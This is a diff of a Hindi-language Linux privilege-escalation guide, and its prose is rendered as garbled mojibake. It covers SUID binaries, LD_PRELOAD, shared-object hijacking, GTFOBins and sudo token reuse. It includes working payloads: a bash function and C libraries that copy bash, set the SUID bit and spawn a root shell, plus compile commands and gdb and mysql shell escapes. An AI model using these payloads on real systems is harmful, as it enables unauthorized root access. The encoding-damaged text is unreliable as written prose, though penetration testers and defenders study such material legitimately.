рдкрд╛рде рдирд┐рд░реНрджрд┐рд╖реНрдЯ рд╣реЛ -рдпрджрд┐ **suid** рдмрд╛рдЗрдирд░реА **рдХрд┐рд╕реА рдЕрдиреНрдп рдХрдорд╛рдВрдб рдХреЛ рдкрд╛рде рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдХреЗ рдЪрд▓рд╛рддреА рд╣реИ**, рддреЛ рдЖрдк рдЙрд╕ рдХрдорд╛рдВрдб рдХреЗ рдирд╛рдо рд╕реЗ рдПрдХ рдлрд╝рдВрдХреНрд╢рди рдмрдирд╛рдХрд░ рдФрд░ рдЙрд╕реЗ **export a function** рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рд╕реЗ suid рдлрд╝рд╛рдЗрд▓ рдХреЙрд▓ рдХрд░ рд░рд╣реА рд╣реИред +рдпрджрд┐ **suid** рдмрд╛рдЗрдирд░реА **рдХрд┐рд╕реА рдЕрдиреНрдп рдХрдорд╛рдВрдб рдХреЛ рдЙрд╕рдХрд╛ рдкрд╛рде рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдХреЗ execute рдХрд░рддреА рд╣реИ**, рддреЛ рдЖрдк рдЙрд╕ рдХрдорд╛рдВрдб рдХреЗ рдирд╛рдо рд╕реЗ рдПрдХ **export a function** рдмрдирд╛рдиреЗ рдФрд░ рдЙрд╕реЗ export рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ suid рдлрд╝рд╛рдЗрд▓ рдХреЙрд▓ рдХрд░ рд░рд╣реА рд╣реИред -For example, if a suid binary calls _**/usr/sbin/service apache2 start**_ you have to try to create the function and export it: +рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдпрджрд┐ рдХреЛрдИ suid рдмрд╛рдЗрдирд░реА _**/usr/sbin/service apache2 start**_ рдХреЛ рдХреЙрд▓ рдХрд░рддреА рд╣реИ, рддреЛ рдЖрдкрдХреЛ рдЙрд╕ рдлрдВрдХреНрд╢рди рдХреЛ рдмрдирд╛рдХрд░ рдФрд░ рдЙрд╕реЗ export рдХрд░рдХреЗ рдХреЛрд╢рд┐рд╢ рдХрд░рдиреА рдЪрд╛рд╣рд┐рдП: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -рдлрд┐рд░, рдЬрдм рдЖрдк suid рдмрд╛рдЗрдирд░реА рдХреЛ рдХреЙрд▓ рдХрд░реЗрдВрдЧреЗ, рдпрд╣ рдлрд╝рдВрдХреНрд╢рди рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрдЧрд╛ +рдлрд┐рд░, рдЬрдм рдЖрдк suid binary рдХреЛ рдХреЙрд▓ рдХрд░реЗрдВрдЧреЗ, рдпрд╣ function рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрдЧрд╛ ### LD_PRELOAD & **LD_LIBRARY_PATH** -**LD_PRELOAD** environment variable рдХрд╛ рдЙрдкрдпреЛрдЧ рдПрдХ рдпрд╛ рдЕрдзрд┐рдХ shared libraries (.so files) рдХреЛ loader рджреНрд╡рд╛рд░рд╛ рдЕрдиреНрдп рд╕рднреА рд▓рд╛рдЗрдмреНрд░реЗрд░рд┐рдпреЛрдВ рд╕реЗ рдкрд╣рд▓реЗ рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рдирдореЗрдВ standard C library (`libc.so`) рднреА рд╢рд╛рдорд┐рд▓ рд╣реИред рдЗрд╕ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ library рдХрд╛ preloading рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИред +**LD_PRELOAD** environment variable рдХрд╛ рдЙрдкрдпреЛрдЧ loader рдХреЛ рдпрд╣ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдХрд┐ рдПрдХ рдпрд╛ рдЕрдзрд┐рдХ shared libraries (.so files) рдХреЛ рдЕрдиреНрдп рд╕рднреА рд╕реЗ рдкрд╣рд▓реЗ рд▓реЛрдб рдХрд┐рдпрд╛ рдЬрд╛рдП, рдЬрд┐рд╕рдореЗрдВ standard C library (`libc.so`) рднреА рд╢рд╛рдорд┐рд▓ рд╣реИред рдЗрд╕ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ library рдХреЛ preloading рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИред -рд╣рд╛рд▓рд╛рдБрдХрд┐, рд╕рд┐рд╕реНрдЯрдо рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдмрдирд╛рдП рд░рдЦрдиреЗ рдФрд░ рдЗрд╕ рдлреАрдЪрд░ рдХреЗ рджреБрд░реБрдкрдпреЛрдЧ рдХреЛ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП, рд╡рд┐рд╢реЗрд╖рдХрд░ **suid/sgid** executables рдХреЗ рд╕рд╛рде, рд╕рд┐рд╕реНрдЯрдо рдХреБрдЫ рд╢рд░реНрддреЗрдВ рд▓рд╛рдЧреВ рдХрд░рддрд╛ рд╣реИ: +рд╣рд╛рд▓рд╛рдВрдХрд┐, рд╕рд┐рд╕реНрдЯрдо рд╕реБрд░рдХреНрд╖рд╛ рдмрдирд╛рдП рд░рдЦрдиреЗ рдФрд░ рдЗрд╕ рдлреАрдЪрд░ рдХреЗ рджреБрд░реБрдкрдпреЛрдЧ рдХреЛ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП, рд╡рд┐рд╢реЗрд╖рдХрд░ **suid/sgid** executables рдХреЗ рд╕рд╛рде, рд╕рд┐рд╕реНрдЯрдо рдХреБрдЫ рд╢рд░реНрддреЗрдВ рд▓рд╛рдЧреВ рдХрд░рддрд╛ рд╣реИ: -- Loader рдЙрди executables рдХреЗ рд▓рд┐рдП **LD_PRELOAD** рдХреЛ рдЕрдирджреЗрдЦрд╛ рдХрд░рддрд╛ рд╣реИ рдЬрд╣рд╛рдБ real user ID (_ruid_) рдФрд░ effective user ID (_euid_) рдореЗрд▓ рдирд╣реАрдВ рдЦрд╛рддреЗред -- suid/sgid рд╡рд╛рд▓реЗ executables рдХреЗ рд▓рд┐рдП, рдХреЗрд╡рд▓ рд╡реЗ рд▓рд╛рдЗрдмреНрд░реЗрд░рд┐рдпрд╛рдБ preload рдХреА рдЬрд╛рддреА рд╣реИрдВ рдЬреЛ standard paths рдореЗрдВ рд╣реИрдВ рдФрд░ рдЬреЛ рдЦреБрдж рднреА suid/sgid рд╣реИрдВред +- рдЙрди executables рдХреЗ рд▓рд┐рдП рдЬрд╣рд╛рдБ real user ID (_ruid_) рдФрд░ effective user ID (_euid_) рдореЗрд▓ рдирд╣реАрдВ рдЦрд╛рддреЗ, loader **LD_PRELOAD** рдХреЛ рдЕрдирджреЗрдЦрд╛ рдХрд░ рджреЗрддрд╛ рд╣реИред +- suid/sgid рд╡рд╛рд▓реЗ executables рдХреЗ рд▓рд┐рдП, рдХреЗрд╡рд▓ standard paths рдореЗрдВ рдореМрдЬреВрдж рдФрд░ рд╕реНрд╡рдпрдВ suid/sgid рд╡рд╛рд▓реЗ libraries рд╣реА preloaded рд╣реЛрддреЗ рд╣реИрдВред -Privilege escalation рддрдм рд╣реЛ рд╕рдХрддреА рд╣реИ рдЬрдм рдЖрдкрдХреЗ рдкрд╛рд╕ `sudo` рдХреЗ рд╕рд╛рде commands execute рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рд╣реЛ рдФрд░ `sudo -l` рдХреЗ output рдореЗрдВ **env_keep+=LD_PRELOAD** рдХрд╛ рдмрдпрд╛рди рд╢рд╛рдорд┐рд▓ рд╣реЛред рдпрд╣ configuration **LD_PRELOAD** environment variable рдХреЛ рдмрдирд╛рдП рд░рдЦрдиреЗ рдФрд░ `sudo` рдХреЗ рд╕рд╛рде commands рдЪрд▓рд╛рдиреЗ рдкрд░ рднреА рдЗрд╕реЗ рдорд╛рдиреНрдпрддрд╛ рджреЗрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ arbitrary code рдХрд╛ execution elevated privileges рдХреЗ рд╕рд╛рде рд╣реЛ рд╕рдХрддрд╛ рд╣реИред +Privilege escalation рддрдм рд╣реЛ рд╕рдХрддреА рд╣реИ рдЬрдм рдЖрдкрдХреЗ рдкрд╛рд╕ `sudo` рдХреЗ рд╕рд╛рде commands execute рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рд╣реЛ рдФрд░ `sudo -l` рдХреЗ output рдореЗрдВ **env_keep+=LD_PRELOAD** рд╢рд╛рдорд┐рд▓ рд╣реЛред рдпрд╣ configuration **LD_PRELOAD** environment variable рдХреЛ рдмрдирд╛рдП рд░рдЦрддрд╛ рд╣реИ рдФрд░ `sudo` рдХреЗ рд╕рд╛рде commands рдЪрд▓рд╛рдиреЗ рдкрд░ рднреА рдЙрд╕реЗ рдорд╛рдиреНрдпрддрд╛ рджреЗрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╕рдВрднрд╡рддрдГ elevated privileges рдХреЗ рд╕рд╛рде arbitrary code рдХрд╛ execution рд╣реЛ рд╕рдХрддрд╛ рд╣реИред ``` Defaults env_keep += LD_PRELOAD ``` -рдЗрд╕реЗ **/tmp/pe.c** рдХреЗ рд░реВрдк рдореЗрдВ рд╕рд╣реЗрдЬреЗрдВ +рдХреЗ рд░реВрдк рдореЗрдВ рд╕рд╣реЗрдЬреЗрдВ **/tmp/pe.c** ```c #include #include @@ -871,7 +868,7 @@ gcc -fPIC -shared -o pe.so pe.c -nostartfiles sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> рдПрдХ рд╕рдорд╛рди privesc рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдпрджрд┐ рд╣рдорд▓рд╛рд╡рд░ **LD_LIBRARY_PATH** env variable рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рд╡рд╣ рдЙрд╕ рдкрде рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддрд╛ рд╣реИ рдЬрд╣рд╛рдБ рд▓рд╛рдЗрдмреНрд░реЗрд░реАрдЬрд╝ рдЦреЛрдЬреА рдЬрд╛рдПрдБрдЧреАред +> рд╕рдорд╛рди privesc рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рддрдм рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдЕрдЧрд░ рд╣рдорд▓рд╛рд╡рд░ **LD_LIBRARY_PATH** env variable рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддрд╛ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рд╡рд╣ рдЙрд╕ рдкрде рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддрд╛ рд╣реИ рдЬрд╣рд╛рдБ рд▓рд╛рдЗрдмреНрд░реЗрд░рд┐рдпрд╛рдБ рдЦреЛрдЬреА рдЬрд╛рдПрдБрдЧреАред ```c #include #include @@ -893,13 +890,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary тАУ .so injection -рдЬрдм рдХрд┐рд╕реА рдРрд╕реЗ рдмрд╛рдЗрдирд░реА рдХрд╛ рд╕рд╛рдордирд╛ рд╣реЛ рдЬреЛ рдЕрд╕рд╛рдорд╛рдиреНрдп рд░реВрдк рд╕реЗ **SUID** permissions рдХреЗ рд╕рд╛рде рд╣реЛ, рддреЛ рдпрд╣ рдЕрдЪреНрдЫреА рдкреНрд░реИрдХреНрдЯрд┐рд╕ рд╣реИ рдпрд╣ рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд░рдирд╛ рдХрд┐ рд╡рд╣ рд╕рд╣реА рддрд░реАрдХреЗ рд╕реЗ **.so** рдлрд╛рдЗрд▓реЗрдВ рд▓реЛрдб рдХрд░ рд░рд╣рд╛ рд╣реИ рдпрд╛ рдирд╣реАрдВред рдЗрд╕реЗ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдб рдЪрд▓рд╛рдХрд░ рдЬрд╛рдБрдЪрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: +рдЬрдм рдХрд┐рд╕реА рдЕрд╕рд╛рдорд╛рдиреНрдп рджрд┐рдЦрдиреЗ рд╡рд╛рд▓реЗ binary рдкрд░ **SUID** permissions рд╣реЛрдВ, рддреЛ рдпрд╣ рдЬрд╛рдВрдЪрдирд╛ рдЕрдЪреНрдЫрд╛ рдЕрднреНрдпрд╛рд╕ рд╣реИ рдХрд┐ рд╡рд╣ рдареАрдХ рд╕реЗ **.so** files рд▓реЛрдб рдХрд░ рд░рд╣рд╛ рд╣реИ рдпрд╛ рдирд╣реАрдВред рдЗрд╕реЗ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд command рдЪрд▓рд╛рдХрд░ рдЬрд╛рдБрдЪрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, _"open(тАЬ/path/to/.config/libcalc.soтАЭ, O_RDONLY) = -1 ENOENT (No such file or directory)"_ рдЬреИрд╕реА рддреНрд░реБрдЯрд┐ рдХрд╛ рд╕рд╛рдордирд╛ рдХрд░рдирд╛ рд╕рдВрднрд╛рд╡рд┐рдд exploitation рдХрд╛ рд╕рдВрдХреЗрдд рджреЗрддрд╛ рд╣реИред +рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, _"open(тАЬ/path/to/.config/libcalc.soтАЭ, O_RDONLY) = -1 ENOENT (No such file or directory)"_ рдЬреИрд╕реА рддреНрд░реБрдЯрд┐ рдорд┐рд▓рдиреЗ рдкрд░ рдпрд╣ exploitation рдХреА рд╕рдВрднрд╛рд╡рдирд╛ рджрд░реНрд╢рд╛рддреА рд╣реИред -To exploit this, рдПрдХ C рдлрд╝рд╛рдЗрд▓ рдмрдирд╛рдиреА рд╣реЛрдЧреА, рдЬреИрд╕реЗ _"/path/to/.config/libcalc.c"_, рдЬрд┐рд╕рдореЗрдВ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХреЛрдб рд╣реЛрдЧрд╛: +рдЗрд╕реЗ exploit рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдПрдХ C file рдмрдирд╛рдиреА рд╣реЛрдЧреА, рдЬреИрд╕реЗ _"/path/to/.config/libcalc.c"_, рдЬрд┐рд╕рдореЗрдВ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХреЛрдб рд╣реЛрдЧрд╛: ```c #include #include @@ -910,13 +907,13 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -рдпрд╣ code, рдПрдХ рдмрд╛рд░ compile рдФрд░ execute рд╣реЛрдиреЗ рдкрд░, file permissions рдХреЛ manipulate рдХрд░рдХреЗ рдФрд░ elevated privileges рдХреЗ рд╕рд╛рде рдПрдХ shell execute рдХрд░рдиреЗ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ privileges рдХреЛ рдмрдврд╝рд╛рдиреЗ рдХрд╛ рд▓рдХреНрд╖реНрдп рд░рдЦрддрд╛ рд╣реИред +рдпрд╣ code, рдПрдХ рдмрд╛рд░ compiled рдФрд░ executed рд╣реЛрдиреЗ рдкрд░, file permissions рдХреЛ manipulate рдХрд░рдХреЗ рдФрд░ elevated privileges рдХреЗ рд╕рд╛рде рдПрдХ shell execute рдХрд░рдХреЗ privileges рдмрдврд╝рд╛рдиреЗ рдХрд╛ рдЙрджреНрджреЗрд╢реНрдп рд░рдЦрддрд╛ рд╣реИред -рдКрдкрд░ рджрд┐рдП рдЧрдП C file рдХреЛ рдПрдХ shared object (.so) file рдореЗрдВ compile рдХрд░реЗрдВ: +рдКрдкрд░ рджрд┐рдП рдЧрдП C file рдХреЛ рдПрдХ shared object (.so) file рдореЗрдВ compile рдХрд░реЗрдВ with: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -рдЕрдВрдд рдореЗрдВ, рдкреНрд░рднрд╛рд╡рд┐рдд SUID binary рдХреЛ рдЪрд▓рд╛рдиреЗ рд╕реЗ exploit рдЯреНрд░рд┐рдЧрд░ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП, рдЬрд┐рд╕рд╕реЗ рд╕рдВрднрд╛рд╡рд┐рдд system compromise рд╣реЛ рд╕рдХрддрд╛ рд╣реИред +рдЕрдВрддрддрдГ рдкреНрд░рднрд╛рд╡рд┐рдд SUID binary рдХреЛ рдЪрд▓рд╛рдиреЗ рд╕реЗ exploit рдЯреНрд░рд┐рдЧрд░ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП, рдЬрд┐рд╕рд╕реЗ рд╕рдВрднрд╛рд╡рд┐рдд system compromise рд╣реЛ рд╕рдХрддрд╛ рд╣реИред ## Shared Object Hijacking ```bash @@ -928,7 +925,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -рдЕрдм рдЬрдм рд╣рдордиреЗ рдПрдХ SUID binary рдкрд╛рдпрд╛ рд╣реИ рдЬреЛ рдЙрд╕ folder рд╕реЗ library рд▓реЛрдб рдХрд░ рд░рд╣рд╛ рд╣реИ рдЬрд╣рд╛рдБ рд╣рдо write рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдЖрдЗрдП рдЙрд╕ folder рдореЗрдВ рдЖрд╡рд╢реНрдпрдХ рдирд╛рдо рдХреЗ рд╕рд╛рде library рдмрдирд╛рддреЗ рд╣реИрдВ: +рдЕрдм рдЬрдм рд╣рдордиреЗ рдПрдХ SUID binary рдкрд╛рдпрд╛ рд╣реИ рдЬреЛ рдЙрд╕ folder рд╕реЗ рдПрдХ library рд▓реЛрдб рдХрд░ рд░рд╣рд╛ рд╣реИ рдЬрд╣рд╛рдБ рд╣рдо рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдЙрд╕ folder рдореЗрдВ рдЖрд╡рд╢реНрдпрдХ рдирд╛рдо рдХреЗ рд╕рд╛рде library рдмрдирд╛рддреЗ рд╣реИрдВ: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -941,17 +938,17 @@ setresuid(0,0,0); system("/bin/bash -p"); } ``` -рдпрджрд┐ рдЖрдкрдХреЛ рдРрд╕реА рддреНрд░реБрдЯрд┐ рдорд┐рд▓рддреА рд╣реИ рдЬреИрд╕реЗ +рдпрджрд┐ рдЖрдкрдХреЛ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЬреИрд╕реА рддреНрд░реБрдЯрд┐ рдорд┐рд▓рддреА рд╣реИ ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` -that means that the library you have generated need to have a function called `a_function_name`. +рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдЖрдкрдиреЗ рдЬреЛ рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдЬрдирд░реЗрдЯ рдХреА рд╣реИ рдЙрд╕рдореЗрдВ `a_function_name` рдирд╛рдо рдХрд╛ рдПрдХ рдлрд╝рдВрдХреНрд╢рди рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) Unix binaries рдХреА рдПрдХ curated рд╕реВрдЪреА рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ attacker рд╕реНрдерд╛рдиреАрдп security restrictions рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП exploit рдХрд░ рд╕рдХрддрд╛ рд╣реИред [**GTFOArgs**](https://gtfoargs.github.io/) рд╡рд╣реА рд╣реИ рд▓реЗрдХрд┐рди рдЙрди рдорд╛рдорд▓реЛрдВ рдХреЗ рд▓рд┐рдП рдЬрд╣рд╛рдБ рдЖрдк рдХрдорд╛рдВрдб рдореЗрдВ рдХреЗрд╡рд▓ arguments рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +[**GTFOBins**](https://gtfobins.github.io) Unix binaries рдХреА рдПрдХ curated рд╕реВрдЪреА рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ рдПрдХ attacker рджреНрд╡рд╛рд░рд╛ local security restrictions bypass рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП exploit рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред [**GTFOArgs**](https://gtfoargs.github.io/) рд╡рд╣реА рд╣реИ рд▓реЗрдХрд┐рди рдЙрди рдорд╛рдорд▓реЛрдВ рдХреЗ рд▓рд┐рдП рдЬрд╣рд╛рдБ рдЖрдк рдХрд┐рд╕реА command рдореЗрдВ **рдХреЗрд╡рд▓ arguments inject** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред -рдкреНрд░реЛрдЬреЗрдХреНрдЯ Unix binaries рдХреЗ рд╡реИрдз functions рдХреЛ рдЗрдХрдЯреНрдард╛ рдХрд░рддрд╛ рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ restricted shells рд╕реЗ рдмрд╛рд╣рд░ рдирд┐рдХрд▓рдиреЗ, privileges escalate рдпрд╛ рдЙрдЪреНрдЪ privileges рдмрдирд╛рдП рд░рдЦрдиреЗ, рдлрд╝рд╛рдЗрд▓реЗрдВ рдЯреНрд░рд╛рдВрд╕рдлрд░ рдХрд░рдиреЗ, bind рдФрд░ reverse shells spawn рдХрд░рдиреЗ, рдФрд░ рдЕрдиреНрдп post-exploitation рдХрд╛рд░реНрдпреЛрдВ рдХреЛ рд╕рд░рд▓ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП abused рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред +рдпрд╣ рдкреНрд░реЛрдЬреЗрдХреНрдЯ Unix binaries рдХреЗ рд╡реИрдз functions рдХреЛ рдЗрдХрдЯреНрдард╛ рдХрд░рддрд╛ рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ restricted shells рд╕реЗ рдмрд╛рд╣рд░ рдирд┐рдХрд▓рдиреЗ, privileges escalate рдпрд╛ рдмрдирд╛рдП рд░рдЦрдиреЗ, рдлрд╛рдЗрд▓реЗрдВ рдЯреНрд░рд╛рдВрд╕рдлрд╝рд░ рдХрд░рдиреЗ, bind рдФрд░ reverse shells spawn рдХрд░рдиреЗ, рдФрд░ рдЕрдиреНрдп post-exploitation tasks рдХреЛ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рджреБрд░реБрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -970,50 +967,50 @@ https://gtfoargs.github.io/ ### FallOfSudo -рдпрджрд┐ рдЖрдк `sudo -l` рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВ рддреЛ рдЖрдк рдЯреВрд▓ [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) рдХрд╛ рдЙрдкрдпреЛрдЧ рдпрд╣ рдЬрд╛рдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдпрд╣ рдХрд┐рд╕реА рднреА sudo рдирд┐рдпрдо рдХреЛ exploit рдХрд░рдиреЗ рдХрд╛ рддрд░реАрдХрд╛ рдвреВрдВрдврддрд╛ рд╣реИ рдпрд╛ рдирд╣реАрдВред +рдЕрдЧрд░ рдЖрдк `sudo -l` рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВ рддреЛ рдЖрдк tool [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдпрд╣ рдЬрд╛рдВрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдпрд╣ рдХрд┐рд╕реА рднреА sudo рдирд┐рдпрдо рдХреЛ exploit рдХрд░рдиреЗ рдХрд╛ рддрд░реАрдХрд╛ рдвреВрдБрдврддрд╛ рд╣реИ рдпрд╛ рдирд╣реАрдВред -### Reusing Sudo Tokens +### Sudo рдЯреЛрдХрдиреЛрдВ рдХрд╛ рдкреБрди: рдЙрдкрдпреЛрдЧ -рдРрд╕реЗ рдорд╛рдорд▓реЛрдВ рдореЗрдВ рдЬрд╣рд╛рдБ рдЖрдкрдХреЗ рдкрд╛рд╕ **sudo access** рд╣реИ рд▓реЗрдХрд┐рди password рдирд╣реАрдВ рд╣реИ, рдЖрдк privileges escalate рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ by **рдХрд┐рд╕реА sudo рдХрдорд╛рдВрдб рдХреЗ execute рд╣реЛрдиреЗ рдХрд╛ рдЗрдВрддрдЬрд╝рд╛рд░ рдХрд░рдХреЗ рдФрд░ рдлрд┐рд░ session token рдХреЛ hijack рдХрд░рдХреЗ**ред +рдРрд╕реЗ рдорд╛рдорд▓реЛрдВ рдореЗрдВ рдЬрд╣рд╛рдБ рдЖрдкрдХреЗ рдкрд╛рд╕ **sudo access** рд╣реИ рд▓реЗрдХрд┐рди password рдирд╣реАрдВ рд╣реИ, рдЖрдк privileges escalate рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ **рдХрд┐рд╕реА sudo command рдХреЗ execution рдХрд╛ рдЗрдВрддрдЬрд╝рд╛рд░ рдХрд░рдХреЗ рдФрд░ рдлрд┐рд░ session token рдХреЛ hijack рдХрд░рдХреЗ**ред -Privileges escalate рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛рдПрдБ: +privileges escalate рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛рдПрдБ: -- рдЖрдкрдХреЗ рдкрд╛рд╕ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА user "_sampleuser_" рдХреЗ рд░реВрдк рдореЗрдВ рдПрдХ shell рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП -- "_sampleuser_" рдиреЗ рд╣рд╛рд▓ рдХреЗ **15mins** рдореЗрдВ рдХреБрдЫ execute рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **`sudo` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рд╣реБрдЖ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП** (рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдпрд╣реА sudo token рдХреА рдЕрд╡рдзрд┐ рд╣реИ рдЬреЛ рд╣рдореЗрдВ рдмрд┐рдирд╛ password рдбрд╛рд▓реЗ `sudo` рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рджреЗрддреА рд╣реИ) -- `cat /proc/sys/kernel/yama/ptrace_scope` рдХрд╛ рдЖрдЙрдЯрдкреБрдЯ 0 рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП -- `gdb` рдЙрдкрд▓рдмреНрдз рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП (рдЖрдк рдЗрд╕реЗ рдЕрдкрд▓реЛрдб рдХрд░ рдкрд╛рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдиреЗ рдЪрд╛рд╣рд┐рдП) +- рдЖрдкрдХреЗ рдкрд╛рд╕ рдкрд╣рд▓реЗ рд╕реЗ user _sampleuser_ рдХреЗ рд░реВрдк рдореЗрдВ рдПрдХ shell рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП +- _sampleuser_ рдиреЗ **`sudo` рдХрд╛ рдЗрд╕реНрддреЗрдорд╛рд▓** рдХрд░рдХреЗ рдкрд┐рдЫрд▓реЗ **15mins** рдореЗрдВ рдХреБрдЫ execute рдХрд┐рдпрд╛ рд╣реБрдЖ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП (рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдпрд╣реА sudo token рдХреА рдЕрд╡рдзрд┐ рд╣реЛрддреА рд╣реИ рдЬреЛ рд╣рдореЗрдВ рдмрд┐рдирд╛ password рдбрд╛рд▓реЗ `sudo` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ) +- `cat /proc/sys/kernel/yama/ptrace_scope` 0 